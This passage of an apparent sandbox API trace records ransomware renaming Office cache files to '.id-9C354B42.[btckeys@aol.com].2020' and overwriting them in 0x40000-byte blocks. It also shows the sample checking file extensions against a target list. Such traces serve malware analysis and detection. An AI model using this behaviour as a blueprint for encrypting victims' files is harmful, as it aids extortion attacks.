lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.208] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0079.208] WriteFile (in: hFile=0x204, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.212] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0079.212] WriteFile (in: hFile=0x204, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.216] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0079.216] CloseHandle (hObject=0x204) returned 1 [0079.216] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0079.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.216] lstrlenW (lpString=".doc") returned 4 [0079.216] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0079.216] lstrlenW (lpString=".docx") returned 5 [0079.216] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0079.217] lstrlenW (lpString=".pdf") returned 4 [0079.217] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0079.217] lstrlenW (lpString=".xls") returned 4 [0079.217] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0079.217] lstrlenW (lpString=".xlsx") returned 5 [0079.217] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0079.217] lstrlenW (lpString=".ppt") returned 4 [0079.217] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0079.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.217] lstrlenW (lpString=".zip") returned 4 [0079.217] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0079.217] lstrlenW (lpString=".rar") returned 4 [0079.217] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0079.217] lstrlenW (lpString=".bz2") returned 4 [0079.217] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0079.217] lstrlenW (lpString=".7z") returned 3 [0079.217] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0079.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.217] lstrlenW (lpString=".dbf") returned 4 [0079.217] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0079.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.217] lstrlenW (lpString=".1cd") returned 4 [0079.217] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0079.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.217] lstrlenW (lpString=".jpg") returned 4 [0079.218] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0079.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.218] lstrlenW (lpString=".doc") returned 4 [0079.218] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0079.218] lstrlenW (lpString=".docx") returned 5 [0079.218] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0079.218] lstrlenW (lpString=".pdf") returned 4 [0079.218] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0079.218] lstrlenW (lpString=".xls") returned 4 [0079.218] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0079.218] lstrlenW (lpString=".xlsx") returned 5 [0079.218] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0079.218] lstrlenW (lpString=".ppt") returned 4 [0079.218] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0079.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.218] lstrlenW (lpString=".zip") returned 4 [0079.218] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0079.218] lstrlenW (lpString=".rar") returned 4 [0079.218] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0079.218] lstrlenW (lpString=".bz2") returned 4 [0079.218] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0079.218] lstrlenW (lpString=".7z") returned 3 [0079.218] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0079.219] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.219] lstrlenW (lpString=".dbf") returned 4 [0079.219] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0079.219] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.219] lstrlenW (lpString=".1cd") returned 4 [0079.219] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0079.219] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0079.219] lstrlenW (lpString=".jpg") returned 4 [0079.219] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0079.219] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0079.219] lstrlenW (lpString="Office32WW.msi") returned 14 [0079.219] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0079.491] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=1992192) returned 1 [0079.491] CloseHandle (hObject=0x168) returned 1 [0079.491] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0079.491] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0079.491] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0079.514] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0079.519] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0079.519] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0079.519] ReadFile (in: hFile=0x168, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.537] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0079.537] ReadFile (in: hFile=0x168, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.543] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0079.543] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0079.543] ReadFile (in: hFile=0x168, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.566] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0079.566] WriteFile (in: hFile=0x168, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0079.754] SetEndOfFile (hFile=0x168) returned 1 [0079.754] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0079.758] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0079.758] WriteFile (in: hFile=0x168, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.810] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0079.810] WriteFile (in: hFile=0x168, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.812] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0079.812] WriteFile (in: hFile=0x168, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.815] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0079.815] CloseHandle (hObject=0x168) returned 1 [0079.815] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0079.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.816] lstrlenW (lpString=".doc") returned 4 [0079.816] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0079.816] lstrlenW (lpString=".docx") returned 5 [0079.816] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0079.816] lstrlenW (lpString=".pdf") returned 4 [0079.816] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0079.816] lstrlenW (lpString=".xls") returned 4 [0079.816] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0079.816] lstrlenW (lpString=".xlsx") returned 5 [0079.816] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0079.816] lstrlenW (lpString=".ppt") returned 4 [0079.816] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0079.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.816] lstrlenW (lpString=".zip") returned 4 [0079.816] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0079.816] lstrlenW (lpString=".rar") returned 4 [0079.816] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0079.816] lstrlenW (lpString=".bz2") returned 4 [0079.816] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0079.816] lstrlenW (lpString=".7z") returned 3 [0079.816] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0079.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.817] lstrlenW (lpString=".dbf") returned 4 [0079.817] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0079.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.817] lstrlenW (lpString=".1cd") returned 4 [0079.817] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0079.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.817] lstrlenW (lpString=".jpg") returned 4 [0079.817] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0079.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.817] lstrlenW (lpString=".doc") returned 4 [0079.817] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0079.817] lstrlenW (lpString=".docx") returned 5 [0079.817] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0079.817] lstrlenW (lpString=".pdf") returned 4 [0079.817] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0079.817] lstrlenW (lpString=".xls") returned 4 [0079.817] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0079.817] lstrlenW (lpString=".xlsx") returned 5 [0079.817] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0079.817] lstrlenW (lpString=".ppt") returned 4 [0079.817] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0079.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.817] lstrlenW (lpString=".zip") returned 4 [0079.817] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0079.818] lstrlenW (lpString=".rar") returned 4 [0079.818] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0079.818] lstrlenW (lpString=".bz2") returned 4 [0079.818] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0079.818] lstrlenW (lpString=".7z") returned 3 [0079.818] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0079.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.818] lstrlenW (lpString=".dbf") returned 4 [0079.818] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0079.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.818] lstrlenW (lpString=".1cd") returned 4 [0079.818] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0079.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0079.818] lstrlenW (lpString=".jpg") returned 4 [0079.818] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0079.818] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0079.818] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0079.818] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0079.820] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=36233052) returned 1 [0079.820] CloseHandle (hObject=0x168) returned 1 [0079.820] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0079.820] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0079.820] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0079.821] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0079.821] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0079.821] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0079.821] ReadFile (in: hFile=0x168, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.826] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0079.826] ReadFile (in: hFile=0x168, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.833] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0079.833] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0079.833] ReadFile (in: hFile=0x168, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0080.105] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0080.105] WriteFile (in: hFile=0x168, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0080.130] SetEndOfFile (hFile=0x168) returned 1 [0080.435] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0080.435] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0080.435] WriteFile (in: hFile=0x168, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0080.436] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0080.436] WriteFile (in: hFile=0x168, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0080.437] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0080.437] WriteFile (in: hFile=0x168, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0080.440] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0080.440] CloseHandle (hObject=0x168) returned 1 [0080.440] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0080.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0080.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0080.441] lstrlenW (lpString=".doc") returned 4 [0080.441] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0080.441] lstrlenW (lpString=".docx") returned 5 [0080.441] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0080.441] lstrlenW (lpString=".pdf") returned 4 [0080.441] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0080.441] lstrlenW (lpString=".xls") returned 4 [0080.441] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0080.441] lstrlenW (lpString=".xlsx") returned 5 [0080.441] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0080.441] lstrlenW (lpString=".ppt") returned 4 [0080.441] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0080.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0080.441] lstrlenW (lpString=".zip") returned 4 [0080.441] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0080.441] lstrlenW (lpString=".rar") returned 4 [0080.441] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0080.441] lstrlenW (lpString=".bz2") returned 4 [0080.441] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0080.441] lstrlenW (lpString=".7z") returned 3 [0080.442] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0080.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0080.442] lstrlenW (lpString=".dbf") returned 4 [0080.442] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0080.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0080.442] lstrlenW (lpString=".1cd") returned 4 [0080.442] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0080.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0080.442] lstrlenW (lpString=".jpg") returned 4 [0080.442] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0080.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0080.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0080.442] lstrlenW (lpString=".doc") returned 4 [0080.442] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0080.442] lstrlenW (lpString=".docx") returned 5 [0080.442] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0080.442] lstrlenW (lpString=".pdf") returned 4 [0080.442] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0080.442] lstrlenW (lpString=".xls") returned 4 [0080.442] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0080.442] lstrlenW (lpString=".xlsx") returned 5 [0080.442] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0080.442] lstrlenW (lpString=".ppt") returned 4 [0080.442] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0080.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0080.443] lstrlenW (lpString=".zip") returned 4 [0080.443] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0080.443] lstrlenW (lpString=".rar") returned 4 [0080.443] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0080.443] lstrlenW (lpString=".bz2") returned 4 [0080.443] lstrcmpiW 